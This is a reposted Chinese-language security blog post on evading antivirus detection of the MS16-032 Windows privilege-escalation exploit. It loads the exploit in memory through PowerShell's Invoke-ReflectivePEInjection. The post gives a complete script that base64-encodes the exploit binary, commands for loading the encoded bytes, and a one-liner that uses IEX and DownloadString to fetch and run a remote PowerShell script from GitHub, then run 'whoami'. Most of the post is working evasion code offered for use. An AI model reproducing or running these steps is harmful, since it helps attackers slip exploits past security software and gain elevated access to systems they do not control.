當前位置:
首頁 > 最新 > powershell中使用ReflectivePEInjection繞過殺毒

powershell中使用ReflectivePEInjection繞過殺毒

有時候,使用某些exp進行提權的時候,exp可能會被查殺,當然,有源碼的話,我們可以在源碼上進行修改進行免殺處理,但是今天介紹的是另外一隻方法,即使用PEloader來載入exp。

powershell的PEloader在這裡,查看代碼我們可以看到,這個腳本使用非常簡單,具體代碼如下:

$PEBytes = [IO.File]::ReadAllBytes("DemoEXE.exe")

Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"

獲取exp的位元組流,之後再在內存中載入exp,所以思路也很簡單,我們只需要把需要的exp轉換成字元串,寫入腳本,就可以構造一個powershell腳本。

這裡整理了一個腳本方便轉換:

function Convert-BinaryToString {

[CmdletBinding()] param (

[string] $FilePath

)

try {

$ByteArray = [System.IO.File]::ReadAllBytes($FilePath);

}

catch {

throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";

}

if ($ByteArray) {

$Base64String = [System.Convert]::ToBase64String($ByteArray);

}

else {

throw "$ByteArray is $null.";

}

$Base64String | set-content ("b64.txt")

}

使用zcgonvh的16032做演示。使用腳本轉換:

PS C:Usersevi1cgDesktop16_032> . .Convert-BinaryToString.ps1

PS C:Usersevi1cgDesktop16_032> Convert-BinaryToString -FilePath .ms16-032_x64.exe

生成base64的字元串並存儲在b64.txt中。

使用如下命令進行轉換:

$InputString = "base64string"

$PEBytes = [System.Convert]::FromBase64String($InputString)

Invoke-ReflectivePEInjection -PEBytes $PEBytes

進行載入,最後分享一下最終的腳本:

E2P_MS16-032.ps1

使用方式為:

E2P_MS16-032 -Command ""net user""

遠程載入命令:

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/E2P_MS16-032.ps1");E2P_MS16-032 -Command ""whoami"""

文章出處:Evi1cg"s blog

你可能喜歡

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 黑白之道 的精彩文章:

Win10 系統直接運行 Kali Linux
Drupal遠程代碼執行漏洞分析

TAG:黑白之道 |